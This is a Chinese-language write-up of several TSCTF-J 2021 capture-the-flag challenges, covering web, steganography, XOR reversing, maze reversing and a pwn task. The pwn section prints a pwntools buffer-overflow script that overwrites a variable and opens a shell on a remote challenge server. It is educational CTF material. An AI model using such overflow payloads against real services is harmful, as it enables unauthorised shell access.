TSCTFJ2021部分wp
Web
- King of F12
F12就可以解决的题,没什么好讲的,跟着提示一步一步走就行:

去CHALLENGE-BUTTONKNIGHT.php,删除disabled属性:

按下按钮得到下一步的提示
测试发现招式的长度=造成伤害。

直接写入一个足够长的字符串即可得到flag:

Misc
- EasyImage
拿到256x144.bmp,先用stegsolve打开看看。看一眼灰度图:

可识别白色点状构成的文字:f(x,y,z) = (11x+45y+14*z)%256,一个函数,暂时不知道是干什么的。
得到位深有关的hint,尝试修改位深为24位:

发现图片可以正常识别了:
放大观察可以发现规律性的散点:

使用PS进行测量,可以得出散点位于每个30x30小方块的(16,16)处。使用matlab对图像进行放缩变换:

尝试用最开始得到的函数对其进行变换,成功得到flag:

其中matlab使用的代码如下:
clear
I = imread('pic.bmp');
for i = 1 : 144
for j = 1 : 256
A(i,j,1) = I(30*i-14,30*j-14,1);
A(i,j,2) = I(30*i-14,30*j-14,2);
A(i,j,3) = I(30*i-14,30*j-14,3);
end
end
imshow(A)
for i = 1 : 144
for j = 1 : 256
B(i,j) = mod(11*double(A(i,j,1))+45*double(A(i,j,2))+
14*double(A(i,j,3))) %这里不转成double会造成溢出
end
end
imshow(B)
- Gh0stSmile
使用stegsolve查看find.png的full red图像,结合out文件夹中的图片得知这是一张拼图:

拼!

观察发现最下方的一行内包含了TSCTF等flag的标志性字母,根据间隔推测这是一个类似栅栏密码加密后的flag,n=6,还原可得flag:TSCTF-J{Thanks_for_watching_my_face}
Reverse
- easyXor
把exe文件用IDA打开,分析可以得知这是一个对输入进行和i和0xd异或的程序:

找到内置的字符串:

直接编写程序得出flag:
#include<stdio.h>
main(){
int i;
int s[50] = {0x59,0x5f,0x4c,0x5a,0x4f,0x25,0x41,0x71,0x52,
0x61,0x4b,0x65,0x31,0x4d,0x66,0x5d,0x2f,0x43,0x4b,0x4d,0x5a,
0x4c,0x5d,0x37,0x5f,0x4b,0x4f,0x26,0x63,0x4f,0x7f,0x61,0x72,
0x7f,0x1f,0x71,0x6c,0x49,0x78,0x73,0x4,0x5,0x6,0x5b};
for(i = 0; i < 44; i++)
{
printf("%c", s[i] ^ i ^ 0xD);
}
return 0;
}
运行结果:

- maze_revenge
从名字上看是迷宫题,发现这个地方看起来很可疑:

进去看:

这应该就是迷宫了,把它整理出来,找到起点和终点:

太大了,用解决迷宫问题的脚本跑一下,得出最佳路径:

在代码中找到题目要求:

对路径进行32位md5,转换成小写,得到flag:
TSCTF-J{5ddffb589b72f5e9b0478d433f5b49fa}
Pwn
- Sign_In
首先用IDA查看主函数:

代码内包含system("/bin/sh"),只需控制程序流执行该语句。发现v5无法用正常方式通过if校验,尝试利用fgets进行缓冲区溢出攻击。
查看缓冲区和v5之间的距离,0x20-0x4=0x1c,在fgets限制的64以内:

在Ubuntu环境下,检查程序是否开启了保护:

那么可以写payload如下:
from pwn import *
#p = process('./pwn1')
p=remote("70.34.205.1",11000)
v5 = 0x00000309
payload = 'a'*0x1c + p64(v5)
p.sendline(payload)
p.interactive()
成功获取到shell以及flag:

</stdio.h>

浙公网安备 33010602011771号